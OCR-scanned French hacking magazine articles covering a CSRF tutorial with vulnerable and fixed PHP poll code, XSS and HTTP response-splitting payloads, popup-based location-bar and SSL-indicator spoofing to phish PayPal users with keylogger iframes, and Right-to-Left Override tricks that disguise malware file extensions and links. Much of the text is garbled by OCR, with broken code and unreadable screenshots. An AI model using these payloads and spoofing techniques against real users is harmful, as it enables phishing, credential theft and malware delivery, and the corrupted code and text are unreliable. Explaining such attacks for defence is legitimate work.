o, | |j hittpf v I . cornj Prid=File:' = < title = <script >alert{ 1337) < script = bl '
55+ [] Forms (9 Images™ (@ Information™ ) Miscellaneous™ /" utline~ &: Resize™ ):’ Tools™ @ View Source - Options~

| ] htkp:/ /v . .. % 3C/ scripteo3E £

The TUEL has moved here

HTTP Response Splitting test:

ot | |j hitp:, I o/ Frid=Fle: 4005 0AContent-Type: textjhtml;charset=UTF-7340A%0A%2EBADw-5cr 5.7 = '

55+ =] Forms® 9] Images+ @ Information™ ) Miscellaneous™ . Cutline~ & : Resize™ j’:’ Tools™ @ Wigw Source™ .~ Options™
|j http:/ /. - -/ scriptYo2BAD4 - ﬁ

Vary: Accept-Encoding, Tzer- Agent Content-Encoding: gap Cartoon: kenny Content-Length: 142 Keep- Alive: timeout=3,
Connection: Keep-Alive Content-Type: text/html; charset=UTF-3 t ¢ ¢ ¢ € ¢ ¢ [HEIUR

Bl QEm, v R QETTE (T I — 3 o 2 AR E (BN THE, #2170 7 S —Lypym-19. 3, (B0 R Y T4
ASUEHET Y (el - | - @ HMFR O 0 &

Annonce de la page hitp:/f

p. HyliTol!




R EAX F I e

'( Illil“in'll i .
B Cross territor
e

Cross-Site Request Forgery
Théorie :

Cross-site request forgery, aussi connu sous le nom de faille seasurf, one-click attack , sidejacking ou session riding et abrégée
CSRF o XSRF, est un type d'exploit malicieux visant les sites web qui s'effectue lorsque des commandes non-autorisées sont
transmises d'un utilisateur dit "de confiance", ce genre de failles exploite la confiance qu'un site peut avoir pour un utilisateur
particulier.

Dans cet exemple nous avons fabriqués un systéeme de vote insécurisé. L'utilisateur malicieux va envoyer un lien malicieux a
la victime qui va cliquer.

http://victime.com/feedback.php?feed=<iframe src="http://127.0.0.1/crsf/poll.php?id=3"></iframe>

Victime.com execute le code: <iframe src="http://127.0.0.1/crsf/poll.php?id=3"></iframe>

Un autre exemple (by luca):

<form action="http://fu/admin/friends.php" method="post" name="dude">
<input name="sql" value="a_f" type="hidden" />
<input name="f_name" style="width: 150px" type="text" value="bar" />
<input value="Add user to my friends list" type="submit" />
</form>

<script>
setTimeout("document.dude.submit()", 2000);

</script>

Chaque personnes qui sera loggée sur le site "fu" et qui entrera dans la page piegée ajouteras automatiquement le site bar
dans les votes. Les CSRF sont trés dangereuse et permettent entre autres d'effectuer des virements négatifs ou des
transaction frauduleuse a I'insu d'un utilisateur peu précautionneux.

Exemple de code source vulnérable :

Dans cet exemple nous utiliserons 5 pages :

1. 1l.compteur
2. 2.compteur
3. 3.compteur
4. survey.php
5. poll.php

Pour: 1.compteur, 2.compteur and 3.compteur
Tapez seulement un nombre, ces fichiers contiendront le nombre de voies votées
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<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtm|1/DTD/xhtmI1-
transitional.dtd">

<html xmIns="http://www.w3.0rg/1999/xhtml">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Poll</title>

</head>

<body>

<table border="1" bgcolor="#999999">

<tr><td colspan="3">Who do you want to see as Master of the world?</td></tr>

<tr><td>Mr. Saiks</td><td>(Currently <?php readfile('l.compteur'); ?> have voted for him)</td><td><a href="poll.php?
id=1">[l support Mr saiks!l</a></td></tr>

<tr><td>Dr. Gordon Freeman</td><td>(Currently <?php readfile('2.compteur'); ?> have voted for him)</td><td><a
href="poll.php?id=2">[l support Gordon!]</a></td></tr>

<tr><td>Mr. Xylitol</td><td>(Currently <?php readfile('3.compteur'); ?> have voted for him)</td><td><a href="poll.php?
id=3">[l support Xylitol!]</a></td></tr>

</table>

</body>

</html>

Exemples
Survey.php

Poll.php

<?php
if(isset($_GET['id']))
{

$monfichier = @fopen($_GET['id'] . '.compteur’, 'r');
$nombreVote = @fgets($monfichier);
@fclose($monfichier);

$monfichier = fopen($_GET['id'] . .compteur’, 'w');

if($nombreVote == NULL or $nombreVote == 0) $nombreVote = 0;
$nombreVote++;

fputs($monfichier, $nombreVote);

fclose($monfichier);

?7>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI1/DTD/xhtmI1-
transitional.dtd">

<html xmIns="http://www.w3.0rg/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Vote Successfully taken</title>

</head>

<body>

Your vote was taken, click here to re-examine the classification: <a href="survey.php">[RETURN]</a>
</body>

</html>

Une fois les fichiers vulnérables fabriqués nous exploiterons par la :
<iframe src="http://127.0.0.1/crsf/poll.php?id=3"></iframe>



http://127.0.0.1/crsf/poll.php?id=3
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La sécurisation a ce genre de faille peut s'effectuer avec I'utilisation d'un captcha graphique et d'un filtre ip .

Exemple de code source sécurisé :

Nous allons créer 8 fichiers :

. 1.compteur [No need to modify]
. 2.compteur [No need to modify]
. 3.compteur [No need to modify]
*  survey.php [No need to modify]
. poll.php [Need to modify it]

*  captcha.fct.php

*  captcha.php

. ipquionvote.txt

Survey.php

<?php session_start(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtmI|1/DTD/xhtml1-
transitional.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtm|">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Voted sucessfully</title>
</head>
<body>
<?php
if(isset($_GET['id']) or isset($_POSTI['id'])) /we want to vote !
{
$lesip = file('ipquionvote.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //That load in a table the
IPs which one already used
if(in_array($_SERVER['REMOTE_ADDR'], $lesip)) //IP already used ?7?!
{//if yes we quit
exit("You have already voted</body></html|>");
)

if(isset($_POSTI['captcha'l)) //if one already were on this page and, if we have answered the captcha
if($_SESSION['captcha'l == $ POST['captcha'])
{

if($_POST['id'] '= 1 and $_POST['id'] = 2 and $_POST['id'] != 3) exit(); //Hey, wtfbbq this
guy doesn't exist !

$monfichier = @fopen($_POST['id'] . '.compteur’, 'r');

$nombreVote = @fgets($monfichier);

@fclose($monfichier);

$monfichier = fopen($_POST['id'] . '.compteur’, 'w');
if($nombreVote == NULL or $nombreVote == 0) $nombreVote = 0;
$nombreVote++ ;

fputs($monfichier, $nombreVote);
fclose($monfichier);

echo '"Your vote was taken, click here to re-examine the classification: <a
href="survey.php">[RETURN]</a>";

//we save IP

$monfichier = fopen('ipquionvote.txt', 'a');
fputs($monfichier, "\n" . $_SERVER['REMOTE_ADDR']);
fclose($monfichier);

}

else

echo "Incorrect Captcha n00b!";
}
else
{

echo 'You want vote for : ;
switch ($_GET['id'])
{
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case 1: echo 'Mr. Saiks'; break;

case 2: echo 'Dr. Gordon Freeman'; break;

case 3: echo 'Mr. Xylitol'; break;

default: exit(); /WTFBBQ THIS GUY DOESN'T EXIST !

echo '<br />For verify if \you are not a bot, you are subjected to this captcha : <br />";

echo "<img src='captcha.php' alt="/><br />";

echo "<form action="poll.php' method="'post'>word of captcha:<br><input type="text'
name='captcha'><br>";

echo "<input type='hidden' name='id' value="" . htmlentities($_GET['id']) . "' />";

echo "<input type='submit' value='l am a 1337'></form>";

}
else // what the hell :0
{
echo 'ErrOr, click here <a href="sondage.php">[RETURN]</a>";
}
7>
</body>
</html>

captcha.fct.php (xylitol n'est pas I'auteur de ce script)

<?php
/**
* @name captcha
* Show an image with 5 characters generated by chance.
*

* @param Numeric iNbCaract : number of character

* @param Array aTextColor : Color code (RGB) separated by commas of the text color.

* @param Array aBgColor : Color code (RGB) separated by commas of the background color.
* @param Array aBorderColor : Color code (RGB) separated by commas of the border color.
*

* @return Image image maked

*/

function captcha ($iNbCaract,$aTextColor, $aBgColor, $aBorderColor ) {
//checking existance of the function
if ( 'function_exists(‘imagecreatetruecolor’) ){
return false;
}

//Parameters test
if (lis_int($iNbCaract))
$iNbCaract = 5;

if (is_array($aTextColor) && count($aTextColor)=== 3 ){ // if it is a table of 3
for($i=0; $i<3;$i++){
if ( $aTextColor[$i] < 0 || $aTextColor[$i] > 255 ){ // if it does not lie between 0 and 255
$aTextColor[$i] = 0; // one puts at zero = white
}

3
}else { // that not a table of 3
$aTextColor = array(0,0,0);
}

if (is_array($aBgColor) && count($aBgColor)=== 3 ){ //if it is a table of 3
for($i=0; $i<3;$i++){
if ( $aBgColor[$i] < 0 || $aBgColor[$i] > 255 ){ // if it does not lie between 0 and 255
$aBgColor[$i]l = 255; // one puts at 255 = black
}

}
}else { // that not a table of 3
$aBgColor = array(255,255,255);

}
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captcha.fct.php(suite)

if (is_array($aBorderColor) && count($aBorderColor)=== 3 ){ // if it is a table of 3
for($i=0; $i<3;$i++){
if ( $aBorderColor[$i] < 0 || $aBorderColor[$i] > 255 ){ // if it does not lie between 0 and 255
$aBorderColor[$i] = 0; // one puts at zero = white
b

}
}else { // that not a table of 3
$aBorderColor = array(0,0,0);
}

//End of parameters test

//variables

$iWidth = $iNbCaract * 20;
$iHeight = 27;

$iFontSize =5;//delabs
$sRep = "./captcha/";
//end of variables

//number

$aCaractere = array();

for ($i=0; $i<=9; $i++)
$aCaractere[] = $i;

//capital letter

for ($i=65; $i<=90; $i++)
$aCaractere[] = chr($i);

/ltiny letter

for ($i=97; $i<=122; $i++)
$aCaractere[] = chr($i);

//random text

$sTexte = "";

$sTextelmg = "";

$iLenCaractere = sizeof($aCaractere)-1;

for ($cpt=0;$cpt<$iNbCaract;$cpt++) {
$iNum_caract=rand(0, $iLenCaractere );
$sTexte .= $aCaractere[$iNum_caract];
$sTextelmg .= $aCaractere[$iNum_caract] . " *;

}

//saving the text in the session
$_SESSION['captcha'] = $sTexte;

//creation of an image
$rlimage = imagecreatetruecolor ($iWidth, $iHeight);

//text colour
if (count($aTextColor) === 3)
$cText_color = imagecolorallocate ($rimage, $aTextColor[0], $aTextColor[1], $aTextColor[2]);

// background colour
if (count($aBgColor) === 3)
$cBg_color = imagecolorallocate ($rimage, $aBgColor[0], $aBgColor[1], $aBgColor[2]);

// background colour
if (count($aBorderColor) === 3)
$cBorder_color = imagecolorallocate ($rimage, $aBorderColor[0], $aBorderColor[1],
$aBorderColor[2]);

// we draw border
imagefilledrectangle($rimage, 0, 0, $iWidth, $iHeight,$cBorder_color);
imagefilledrectangle($rimage, 1, 1, $iWidth-2, $iHeight-2,$cBg_color);

// we write the text
imagestring ($rimage, $iFontSize, 10, 5, $sTextelmg, $cText color);

// we make the image scrambled: fuzzy
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imagefilter($rimage, IMG_FILTER_SMOOTH, 2); //IMG_FILTER_EMBOSS, IMG_FILTER_SMOOTH

captcha.fct.php (fin)

// Rotation
$rimage = imagerotate($rimage, 5, $cBg_color);

return imagepng($rimage);

imagedestroy ($rimage);

7>

captcha.php

<?php
include ("captcha.fct.php");
header('Content-type: image/png');
header('Last-Modified: ' . gmdate("D, d MY H:i:s") . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: post-check=0, pre-check=0"', false);
header('Pragma: no-cache');
session_start();
echo captcha(5,array(0,0,0),array(255,255,255),array(0,250,125));
7>

Le fichier ipquionvote contiendra la liste des ip ayant votées auparavant laissez le vide .

Test de la sécurisation :

©) Voted sucessfully - Mozilla Firefox

'@? C o | ntpmocathostiyliipall php?id=3

Tou want wote for - Iy Xylitol
Forvenfy f  wou are not a bot, you are subjected to this captcha

rukof

word of captcha:

[ lama1337 |

Voir aussi :

http://www.owasp.org/index.php/ (Wikipedia oriented security)
http://www.agents-codeurz.com/ (if you are a code problem just ask)
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
http://www.xssed.com (Mirror Archive of Vulnerable Websites)
http://www.xssing.com (advisories and more)
http://ha.ckers.org/xss.html (XSS Cheat sheet Database)

http://php.net/manual/en/function.htmlentities.php
http://php.net/manual/en/function.htmlispecialchars.php
http://php.net/manual/en/function.strip-tags.php
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Remote Internal Phishing and Location Bar & SSL Indicator

Falsification
Par Jordi Chancel & 599eme Man

A Propos :

Ces défauts de sécurité sont abordés dans cet article
par Jordi Chancel (Alias j0) & 599eme Man.

Jordi Chancel : neocoderzl@msn.com

599eme Man : flouf@live.fr

501337 Magazine

l. Introduction

Le « Remote Internal Phishing » et le « Location Bar &
SSL Indicator Falsification » sont de nouveaux moyens
de piéger un utilisateur lambda par le biais d'un
navigateur internet. Ces techniques sont évidemment
effectuées a distance et peuvent nécessiter diverses
méthodes de persuasion et de mise en confiance de
|'utilisateur, comme pour une technique
d'hameconnage ordinaire.

En quoi consistent-elles ?
Comment fonctionnent-elles ?

.IIII-IIIIIMIIIHIHIIII_III

Ces nouveaux types de phishing consistent a berner
un utilisateur en modifiant certains aspects d'un
popup spécifigue a un navigateur. Cela est possible
grace a la fonction « window.open() » du langage
javascript. Cette fonction permet d'ouvrir une fenétre
avec des

tailles modifiables, affichage de la barre de location ou
non, plein écran ou non ; ce sont ces trois options dont
nous allons étre totalement dépendant.

Pour le « Location Bar & SSL Indicator Falsification », le
but est donc, vous l'aurez compris d'enlever la barre
de location (gréace au parametre location=no de la
fonction « window.open() ») pour la remplacer par une
barre de location "falsifié" affichant les informations
relatives a une visite authentique sur le site cible (une
image ou un élément flash peut étre utilisé pour la
falsification de la barre de location et de l'indicateur
SSL, mais encore beaucoup d'autres possibilités sont
valables). La taille est modifiable pour vous adapter a
|'utilisateur ou tout simplement suivant la
modélisation du site, etc. Dans un contexte différent,
I'option fullscreen va nous permettre de créer une
page de « Remote Internal Phishing » dont nous
parlerons plus tard.

F::I?EI l}.m\“
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Il. Location Bar & SSL Indicator Falsification

1°) Navigateurs touchés

Tel que l'introduction I'a expliqué, ce type de phishing a une méthode d'exploitation relativement simple a mettre en place.
Cependant, certains navigateurs utilisent une politique de sécurité ne permettant pas ce type d'escroquerie (Comme pour les
versions supérieures de Mozilla Firefox 3 qui affichent la location du popup méme si celui-ci a été lancé avec le parametre
"location=no").

Suite a diverses recherches et tests, nous avons donc établi une liste des navigateurs touchés.

En voici un apergu :
Konqueror => Location bar & SSL Indicator Falsification
Safari 3 & 4 => Location bar & SSL Indicator Falsification
SeaMonkey => Location bar Falsification
Kameleon => Location bar Falsification

Vous remarquerez que sur certains navigateurs l'indicateur SSL peut étre aussi falsifié permettant donc une reproduction plus
fidele des sites cibles possédant un certificat de connections sécurisé, ce qui permet donc aussi de rendre I'escroquerie plus
crédible aux yeux d'un utilisateur lambda.

Remarque : Sous le Navigateur Konqueror, la barre d'état peut étre également falsifiée ce qui permet de reproduire totalement
I'indicateur SSL du fait que celui se trouve aussi bien dans la barre d'état que dans la barre de location. Si le site visé utilise un
certificats de connections sécurisé, cette manipulation rend vraiment I'escroquerie plus discrete et plus crédible aux yeux

d'un utilisateur lambda.

Voici donc une comparaison entre deux popup, dont la location de I'un est réelement le site cible et ou I'autre utilise une barre
de location falsifié (Navigateur SeaMonkey) :

SealMonkey avec une barre de location réel .

& Bienvenue - PayPal - Sealdonkey =)

| P bitos-l e paypl.comhfcgirbiniwebserlcmd=_homeicauriry._lang =true 7] 2 search| €2
Dwnr yn compa | Connewion | Alge | E3pece eécumi Racharchar|
mypa‘ I i France (Francais: 1

Accuel Particuliers Marchands [eveloppeurs

Premiers pas  Paiement  Demande o2 paiement Soulions eBay

 Ouwez un comge |

P ds 150 miiona de compies
dans k= monds

Connectez-ous |

Wous 2ver puble vodne sdresse
S ou mol e peeag

de i v 3] &4 Done
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Sealdonkey avec une barre de location falsifie .

8 Paypat - Seabdonkey =y |

- -

i .F' bt fwrares. paypal.camyTricgi-bin/webscriomd=_home&country_langu=true |l| #_Search | ﬂ
Owriyn compte | Coonewion | Ais | Espace sdeurté Rgcharchar

PayPal

i # France (Francas] 4

L accueil Farticubiers Marchands Developpsurs

Premiers pas Paizment Demanite de paigment Salulions By

Rejoignaz PayPal

Duwrez un comple

Pus d2 150 milons G compies
gans = monds

Faites s
achats
an ligne

Enloue Danslae | Cuweez un
mECTrilé miznda CEnpe
enmier

® ®

e il o FE) @R Done =i

Connactez-vous

Wous 2vez ouble volbre adresse
gmall ou mot dg paeER-?

Cette négligence de sécurité ouvre aussi la voie sur la possibilité d'utiliser un "FrameWorks orienté Phishing" dont je vais vous
expliquer les principes de bases :

Rappelons pour commencer que si la barre de location peut étre falsifiée par diverses méthodes, il n'est alors pas exclus de
reproduire les fonctions originales d'une barre de location authentique sur les éléments servant a la falsifier, c'est-a-dire que les
fonctions utilisées par une véritable barre de location peuvent étre aussi utilisées de facon détourné par les éléments utilisés
pour la

falsification voulu (Affichage du site demandé, etc).

Certains se demanderons évidemment en quoi cette possibilité peut nous étre utile ?

La réponse est simple, puisqu'il est alors possible d'écrire I'adresse d'un site dans la fausse barre de location et de pouvoir ainsi
le visiter, sans remarquer de différences notoires avec une fenétre authentique du navigateur comportant une véritable barre de
location, il est alors possible de se servir de I'adresse URL demandé avec un code chargé d'aller chercher la source de ce méme
site

(utilisation de PHP/ASP...), de le mélanger avec divers script permettant l'interception des informations voulues (Keylogger
Javascript par exemple), avant son affichage dans l'iframe prévue a la visite du site demandé (L'iframe est placé sous la fausse
barre de location et ne se remarque pas en comparaison d'un popup classique affichant le contenue d'un site). Il serait alors
possible de volée les données personnelles relatives au site demandé dans la barre de location falsifié quand I'utilisateur les
soumet par écriture, ou autre, tout en lui laissant le choix d'écrire I'adresse du site qu'il voudrait visiter. Une solution innovante
guand on sait que les techniques d'hameconnage traditionnels se basent sur la falsification d'un site bien précis alors que dans
se cas l'utilisateur est libre de sa navigation tout en nous permettant l'interception des données voulues et entrées par celui-ci
sur les sites qu'il visite.

2°) Attaque basique : exploitation

Nous allons maintenant passer de la théorie a la pratique avec une forme d'exploitation basique c'est-a-dire : un popup d'une
taille conforme avec I'image simulant la barre de location du navigateur affichant I'adresse du site ciblé et I'iframe chargé de
contenir la contrefacon de ce méme site. Dans cet exemple nous nous servirons donc d'une page de paypal contrefaite avec
une barre de location falsifié .
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<l.. Index hitm, page ol la victime va devoir ouviir le popup.

Ce popup va ouvrir une page de taille 4002753 sans barre de location -->

<a href="Paypalhtm"
enclick="javascrip t:w ind ow .op en(this.href, Pop up ', height=400 wid th=753 scrolbar
s=no JLTE1 3158 1) fullscreen=mno );return false;">Popup</a>

<!-- Paypal htm, cette page affichera votre image de la barre de location convensnt au site
ainsi gque la page de phishing, -->

<div

style="peosition:abselhute;wid th: 500p x;height: 25p x;background :2C0COC0horder:10
px;left:0px; top :0px; z-index:1;"><img
sre="Image_de_la_barre_de_location_du_navigateur_cible hmp "></img></div>
<br><br>

+ IFRAME POINTANT VERS LA PAGE CONTREFAITE DU SITE (jci
paypalecom).

Il. L'option « FullScreen »

1°) Quoi de plus ?

Cette technique a été baptisée :
« Remote Internal Phishing ».

2°) Remote Internal Phishing

5t6 desktor
ARSI

D'apres les deux screens d'exemple ci-dessus, vous
pourrez déja constater que cette méthode
nécessitera :

« - Une barre de location falsifiée du navigateur
avec laquelle la victime va étre piégée.

- - Utiliser un popup avec des dimensions adaptées
(Divers critéres entrent en jeu pour utiliser une
taille X plutét qu'une taille Y, libre a vous
de définir qu'elle sera la meilleure solution pour le
site concerné).

» - Une page contrefaite du site cible avec divers
dispositifs permettant I'interception des données
envoyées (Keylogger en Javascript par exemple).

Les pages sont prétes, il ne vous reste plus qu'a
utiliser une méthode de persuasion visant a
convaincre |'utilisateur de se connecter sur le site
cible par l'intermédiaire de votre page piégé.

L'option « Fullscreen » est une option de la fonction window.open. Nous allons nous y intéresser, mais uniquement sous
Konqueror qui est le seul navigateur a réellement « fullscreené » la page dans les conditions adéquates qui vont alors permettre
une technique d'hameconnage visant les applications internes de la machine d'un utilisateur ciblé.

Le Remote Internal Phishing est une technique d'hameconnage visant les applications internes de la machine d'un utilisateur
ciblé (applications de services mail, de messageries, de connexion a un jeu, etc). Cette nouvelle méthode via Konqueror est une
des plus étonnante technique de phishing du fait qu'elle ne vise pas exclusivement les applications web ou autres applications

utilisant le navigateur comme moyen de connexion. Cette technique nécessite cependant une interface plus ou moins avancée
permettant donc une cohérence entre les applications internes visées et celle qui seront utilisées par I'utilisateur. Il y a donc de

multiples scénarios d'escroquerie possible.

La ressemblance est vraiment poussée, il suffit donc d'inciter un utilisateur a entrer ses informations personnelles relatives a

I'application interne visée et le tour est joué.

Exemple :

<a href="page html"

h=753, scrollb ars=no o cation=no
falzse;">Popup </a>

<!-- Index him, page oG la vichime va devoir owvrir le popup.

Ce popup va ouvrir une page fullscreene --=

onclick="javascrip t:w indow ,n]‘er:sljthi.':.lutf,‘PEq ' height=400wid t

yesiBaduiiyl

<l-- Page html qui sera ouverte en
fullscreen, elle comportera l'élément de
falsification de l'application interne &

pléger avec un dispositif pe

n ethant

dintercepter les informations.. --=
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I1l. Conclusion
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Le « Remote Internal Phishing » et le « Location Bar & SSL Indicator Falsification », par Jordi Chancel et 599eme Man, sont donc
des nouvelles méthodes de phishing offrant de multiples avantages sur la discrétion ou/et les possibilités de ce type
d'escroquerie. Pour le Remote Internal Phishing les applications visées ne se limitent alors plus uniquement aux applications
web, mais aussi aux applications internes qu'utilise la machine de I'utilisateur ciblé.

Rappel des deux méthodes traitées dans cet article :

. - Le « Location Bar & SSL Indicator Falsification » permettant donc de tromper la victime grace a une
falsification de la barre de location et de l'indicateur SSL d'un navigateur, dans le but de garantir un plus grand taux de

réussite d'utilisateurs piégés et d'augmenter la discrétion de ce type d'escroquerie.

. - Le « Remote Internal Phishing » permettant I'hamecgonnage d'application interne via un

navigateur, c'est-a-dire : des applications utilisées sur la machine de I'utilisateur ciblé.

Pour mieux comprendre les enjeux d'une telle vulnerabilité une video est disponible a cet addresse :

http://www.alternativ-testing.fr/blog/public/Remote_Internal_Phishing.swf
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Right To Left Override unicode can be used into multiples
spoofing cases

Spoofing

Par Jordi Chancel
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1:INTRO

Les attaques de type "SPOOFING" ont pour simple but de duper un utilisateur ou systeme informatique sur les réels
informations recues et affichées. Le spoofing fait régulierement parler de lui dans de multiples scénarios distincts comme
I'Adresse URL d'une page Internet, L'indicateur TLS/SSL, l'ip , et la liste est encore longue.

Ce rapport va se pencher sur un UNICODE bien particulier pouvant permettre ce genre de scénario sur de multiples Softwares
couramment utilisés [discussion et échange de données en ligne/Navigateur internet/...) et ainsi augmenter la discrétion d'une
possible escroquerie dans I'attente probable d'une intrusion sur les machines ou comptes clients des utilisateurs piégés.

Rappel sur lI'unicode RIGHT TO LEFT OVERRIDE

Le RIGHT TO LEFT OVERRIDE est un unicode principalement utilisé pour I'écriture et la lecture de texte Arabes ou Hebreux et qui
a donc pour utilité d'inverser I'ordre du sens de lecture des caractére le suivant.

2 : RIGHT TO LEFT OVERRIDE et L'extension d'un fichier

Le spoofing de I'extension d'un fichier sous I'OS MicroSoft Windows que nous évoquons dans cet
article est une technique exploitant I'unicode RIGHT TO LEFT OVERRIDE qui aura toujours pour effet
d'inverser le sens de lecture des caracteres qui le suivent y compris I'extension ! Cet UNICODE dont
nous simplifierons I'appellation par RTLO ne se remarque pas du fait que ses caracteres et son
emplacement sont invisibles. Il va nous servir a inverser le sens de lecture du fichier y compris
|'extension de celui-ci d
tout en gardant les meme types d'exécution. oc

Annexe b

Exemple:
Utiliser une syntaxe de nom comme "Nouveau Document Ann[RTLO]txt.exe" se lirait donc "Nouveau
Document Annexe.txt".

r B
Cptions des dessiers M

| Général | Affichage | Rechercher |

Afichage des dossiers
. . . . N Vous pouvez appliguer le type d'affichage {es détails ou les iciines, par
Cela permetrait de dupper les utilisateurs et les inciter a exemple) de ce cossier 3 tous les dossiers du méme type.

télécharger et exécuter un malware spoofé avec cet e [ Réiiaioelos domier
unicode tout en croyant ouvrir un type de fichier non

risqué, de plus ,malgré que certaines applications le black-

list dans le nom du fichier téléchargé ( google chrome / I

firefox[corrigé depuis les MAJ vers: Firefox 3.5.4 & Firefox Lors de fa saie en mode d affichage Liste %

3.0.15]/etc) cela nlempeChe Cependant pas le @] Eﬁectuerla sa' i automatluuernent dans |a zone Hecherd'ler
téléchargement d'archive(.ZIP / .RAR ...), contenant des i 5 a
fichiers aux extensions spoofées . Une technique plutot
innovante quand on sait que I'un des principaux points de OIS U Systame:d

repaire des utilisateurs est I'extension du fichier qu'ils 7] Moscuereseceurs vdes dans e dossie Ordietr
veulent télécharger ou/et exécuter sans rappeler qu'une (B 5w et s ey S (ot e M

. . ! . [ Restaurer les fenétres des dossiers ouvertes lors dela prochane ouverture de st 3
grande partie des utilisateurs de Microsoft Windows ] Tojours afficher des icnes. jamais des miniatures

définissent dans leurs Options l'affichage de I'extension [ Toujours afficher les menus =
des fichiers deja connus (nécéssaire pour que le spoof soit [] Utiiser des cases & cocher pour sélectionner des éléments 3
réalisable) . 4| n | r

’ Paramétres par défaut

OK ] [ Annuler Appliquer
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De plus le type de fichier n'apparait pas nécessairement dans les répertoires et cela permet , dans certains cas , une totale
ressemblance (sans vérification a effectué) entre une extension original non dangereuse (.jpg / .txt ...) , et le malware spoofé .

= Beaucoup de grands softwares
d'acces WEB,discussions en ligne et

1 Nouweau dossier - | #4 M Rechercher dans : Nouveow dassier F e échanges de données ignorent la
s v
Organiser = Inclurs dans la bibliotheque = Partager sw=c + Graves i =il @ dangerOISIt_e d'un tel teIeChargement
S 2 SETUE i ou la négligent et refusent de black-
&~ Mom Modifié Iz Tyoe Taille lister cet unicode maglré qu'a I'heure
B | _ Mowveau document teste bt Document texte 0 ka actuelle , les escroque.r'es en ligne ne
= Mowveau documment &nnexe bt Apphcation 408 Ko .Se,ssent de se mUItlp“er et rapporter
j illégalement de plus en plus d'argent
aux réseaux mafieux.
? Liste (non-exaustive) : SAFARI /
“T_ INTERNET EXPLORER / SKYPE / LIVE
" MESSENGER
h -
l 2 Element(s)
L _—
SR e
3 . | - @ B
M ) Moweaudossie |4 || esrerreraans: Naweauussier P [ Tetechargement de fiier - vertissement de sécurt =

Tnchure dans |z billiothbque = Partager aver = Gravel = 51 &

] - Souhaitez-vous exécuter ouenregistrer ce fichier 7

Flowveau docu mment Annee bt C:}’ REAL ﬂ

T ————————— | : | 5 Nom : Noweau documment Annezetxt
FE . : SPOOFED w Type: Application
- De: 127001
]

[ Exécuter ] [ Enregistrer Annuler
a8
E-
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— ——
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*]'ai échangé quelques mails avec I'agence chargée des reports de vulnérabilité sur les applications de MicroSoft et ceux-ci m'ont
répondu que leur politique de sécurité ne considére pour l'instant pas cette manipulation comme une négligence de sécurité du

fait que le type d'exécution indiqué reste le méme.

Conclusion : L'arnaque par téléchargement/envoi de malware avec son extension type spoofé pourrait alors donnée un taux de
résultat beaucoup plus élevé : Il est regrettable de ne pas voir Microsoft considérer cette action comme dangereuse.

3 : Falsifier I'adresse URL d'un
lien avec RTLO

Les liens hypertexte sur les langages comme HTML
peuvent bien évidemment prendre n'importe quelle
valeurs et ce malgré la destination sur la quelle il vous
dirigeront c'est pourquoi les navigateur web utilisent
une "Satus Bar*" affichant |'adresse URL lui étant
relatif , au passage de votre curseur par dessus celui-
ci.

Une partie des services de messageries instantanées
(Tchat public/Espace commentaire/Messagerie
instantanée) permettent I'envoi de liens hypertexte ,
mais ceux-ci ne sont transformés qu'uniquement par
|'écriture de l'adresse URL donné. Impossible d'user
des mémes atouts que le langage HTML et de former
des liens malléables.

Fichier  Edition  Actiore  Outik 7

| | joowiorksaoR woT dit neae
| + Hella | ol for se iy new profl on Tecebook Bty fwww teCehoak oo

& ? @ @ ¢ s

Le RTLO permet la aussi une action sur le sens de
lecture d'un lien envoyé ce qui pourait faciliter une
possible escroquerie de type SCAM/Phishing. C'est le
cas pour Windows Live Messenger , de plus , ses
utilisateurs n'ayant pas pour habitude de recevoir des
lien hypertexte manipulés , celle-ci pourrait permettre
d'augmenter considérablement le taux de personnes
piégées en comparaison d'un lien

non officiel de phishing (exemple
www.Faceuboukeu.cOm / www.B4NQ.cOm / ...).

PoC :

exemple : [RTLO]
http://www.maliciouswebsite.com/moc.koobecaf.
www://ptth

donnerait comme lien visible :
http://www.facebook.com/moc.etisbewsuoicilam.
www//:ptth



http://www.facebook.com/moc.etisbewsuoicilam.www//:ptth
http://www.facebook.com/moc.etisbewsuoicilam.www//:ptth
http://www.maliciouswebsite.com/moc.koobecaf.www://ptth
http://www.maliciouswebsite.com/moc.koobecaf.www://ptth
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Conclusion : la falsification d'un lien peut etre réalisée sur d'autres services que les navigateurs web via les langages web
(HTML/JS...) avec la simple utilisation de I'unicode RTLO ce qui équivaut en quelque sorte aux méme niveau de dangerosité que
la falsification de la "Status-bar" d'un navigateur web.

4 : Quelques notes suplémentaires

Notons que certains sites web proposent I'écriture de commentaires et retransforment ou créent automatiquement les liens par
leurs adresses de destinations données , la aussi le RLTO inverserait bien sur le sens de lecture du lien affiché ce qui pourait peut
étre faiblement augmenter le taux de réussite d'une probable escroquerie type phishing/SCAM ,utilisant la méme technique
précédemment expliquée .

Sans oublier que le sens du contenu de la page le suivant peut étre totalement inversé aprés son injection , ce qui peut
constituer une géne pour les utilisateurs/visiteurs du site concerné...

5 : Conclusion finale

L'unicode Right to left OverRide permet donc une manipulation risquée pouvant permettre de multiples scénari d'escroquerie
visant a la fois les comptes clients des internautes piégés ainsi que I'acces a leurs machines pour ce qui concerne |'execution
d'un malware avec son extension "spoofée". Encores beaucoup d'autres manipulations dangereuses peuvent étre effectuées
avec celui-ci et nous trouvont trés domage que Microsoft Windows ne black-liste pas cet unicode dans le nom de ses fichiers ainsi
que sur de mutliples autres actions risquées ou celui-ci peut etre utilisé actuellement.

6 : Quelques liens sur le RTLO
Info sur le RTLO :
http://www.fileformat.info/info/unicode/char/202e/index.htm

Bug réparé par mozilla en Octoble 2009 :
http://www.mozilla.org/security/announce/2009/mfsa2009-62.html

Blog Alternativ-testing.fr:
http://www.alternativ-testing.fr/blog/index.php
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Man of the Wifi : Aircrack's Audit Tutoriel

